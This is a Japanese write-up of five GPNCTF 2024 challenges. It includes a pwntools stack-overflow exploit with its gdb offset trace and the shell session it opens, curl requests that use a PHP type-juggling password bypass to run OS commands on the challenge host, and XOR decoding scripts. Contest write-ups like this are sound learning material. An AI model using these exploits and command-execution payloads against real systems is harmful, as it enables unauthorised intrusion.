この大会は2024/5/31 19:00(JST)~2024/6/2 7:00(JST)に開催されました。
今回もチームで参戦。結果は292点で688チーム中216位でした。
自分で解けた問題をWriteupとして書いておきます。
You know the rules and so do I
Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。
GPNCTF{I'm_gonna_say_goodbye_now._Have_fun_with_the_other_challenges}
Never gonna give you UB (Pwning)
BOFでscratched_record関数をコールすれば良い。
$ gdb -q ./song_rater Reading symbols from ./song_rater... (No debugging symbols found in ./song_rater) gdb-peda$ pattc 300 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%' gdb-peda$ r Starting program: /mnt/hgfs/Shared/song_rater [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Song rater v0.1 ------------------- Please enter your song: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%" is an excellent choice! Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater") RCX: 0x0 RDX: 0x0 RSI: 0x4052a0 ("\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAy"...) RDI: 0x7fffffffda90 --> 0x7fffffffdac0 ("GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\" is an excellent choice!\nyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%") RBP: 0x2541322541632541 ('A%cA%2A%') RSP: 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") RIP: 0x401238 (<main+96>: ret) R8 : 0xc0 R9 : 0x1 R10: 0x0 R11: 0x202 R12: 0x0 R13: 0x7fffffffde98 --> 0x7fffffffe231 ("CLUTTER_IM_MODULE=xim") R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 R15: 0x403e00 --> 0x401160 (<__do_global_dtors_aux>: endbr64) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40122d <main+85>: call 0x401080 <printf@plt> 0x401232 <main+90>: mov eax,0x0 0x401237 <main+95>: leave => 0x401238 <main+96>: ret 0x401239: add BYTE PTR [rax],al 0x40123b: add bl,dh 0x40123d <_fini+1>: nop edx 0x401240 <_fini+4>: sub rsp,0x8 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd78 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0008| 0x7fffffffdd80 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%") 0016| 0x7fffffffdd88 ("A%JA%fA%5A%KA%gA%6A%") 0024| 0x7fffffffdd90 ("5A%KA%gA%6A%") 0032| 0x7fffffffdd98 --> 0x7f0025413625 0040| 0x7fffffffdda0 --> 0x7fffffffde88 --> 0x7fffffffe215 ("/mnt/hgfs/Shared/song_rater") 0048| 0x7fffffffdda8 --> 0x929f0a842551a6db 0056| 0x7fffffffddb0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401238 in main () gdb-peda$ patto HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% found at offset: 264
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('broken-strings--nelly-furtado-8043.ctf.kitctf.de', '443', ssl=True) else: p = process('./song_rater') elf = ELF('./song_rater') scratched_record_addr = elf.symbols['scratched_record'] payload = b'A' * 264 payload += p64(scratched_record_addr) data = p.recvuntil(b':\n').decode().rstrip() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip() print(data) for _ in range(2): data = p.recvline().decode().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to broken-strings--nelly-furtado-8043.ctf.kitctf.de on port 443: Done
[*] '/mnt/hgfs/Shared/song_rater'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Song rater v0.1
-------------------
Please enter your song:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@\x00\x00\x00\x00\x00'
b'"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11@" is an excellent choice!'
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
song_rater
srv
sys
tmp
usr
var
$ cat flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
Never gonna run around and reverse you (Reversing)
Ghidraでデコンパイルする。
undefined8 FUN_001011e9(int param_1,long param_2) { char *__s; size_t sVar1; void *pvVar2; int local_20; if (param_1 < 2) { printf("Please provide a flag as an argument"); /* WARNING: Subroutine does not return */ exit(1); } __s = *(char **)(param_2 + 8); sVar1 = strlen(__s); pvVar2 = malloc((long)((int)sVar1 + 2)); strcpy((char *)((long)pvVar2 + 1),__s); for (local_20 = 1; local_20 <= (int)sVar1; local_20 = local_20 + 1) { *(byte *)((long)pvVar2 + (long)local_20) = *(byte *)((long)pvVar2 + (long)local_20) ^ *(byte *)((long)pvVar2 + (long)local_20 + -1); printf("%02x",(ulong)(uint)(int)*(char *)((long)pvVar2 + (long)local_20)); } putchar(10); return 0; }
最初の1文字を除き、隣同士の文字のXORをしたものがhashファイルとして出力されている。このため、同様にしてフラグを復号できる。
#!/usr/bin/env python3 with open('hash', 'r') as f: enc = bytes.fromhex(f.read().rstrip()) flag = chr(enc[0]) for i in range(len(enc) - 1): flag += chr(enc[i] ^ enc[i + 1]) print(flag)
GPNCTF{W41t,_h0w_d1d_y0u_s0lv3_th1s?_I_th0ught_1t_w45_4_g00d_h45h}
Never gonna tell a lie and type you (Web)
dataにjson形式のデータを送信する必要がある。そのデータは以下の条件を満たす必要がある。
"user"のデータ === "admin🤠"
"password"のデータ == securePassword("password"のデータ)この場合、"command"のデータをOSコマンドとして実行できる。また、UserAgentが"friendlyHuman"である必要がある。"e"を使って適当にパスワードを指定する。
$ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin🤠", "password": "1e1234", "command": "ls -l"}' -A "friendlyHuman" object(stdClass)#1 (3) { ["user"]=> string(9) "admin🤠" ["password"]=> string(6) "1e1234" ["command"]=> string(5) "ls -l" } total 8 -rwxr--r-- 1 root root 1733 May 28 18:34 index.php -rw-r--r-- 1 nobody nobody 41 May 23 23:20 test.html hail admin what can I get you -rw-r--r-- 1 nobody nobody 41 May 23 23:20 test.html $ curl https://einmal--mark-forster-6303.ctf.kitctf.de -d 'data={"user": "admin🤠", "password": "1e1234", "command": "cat /flag.txt"}' -A "friendlyHuman" object(stdClass)#1 (3) { ["user"]=> string(9) "admin🤠" ["password"]=> string(6) "1e1234" ["command"]=> string(13) "cat /flag.txt" } GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W} hail admin what can I get you GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
Never gonna let you crypto (Crypto)
鍵の長さは5で、XORで暗号化されている。フラグは"GPNCTF{"で始まることを前提に復号する。
#!/usr/bin/env python3 with open('FLAG.enc', 'r') as f: enc = bytes.fromhex(f.read().rstrip()) pre_flag = b'GPNCT' key = [] for i in range(len(pre_flag)): key.append(pre_flag[i] ^ enc[i]) flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key[i % len(key)]) print(flag)
GPNCTF{One_T1me_p4ds_m4y_n3v3r_b3_r3u53d!!!}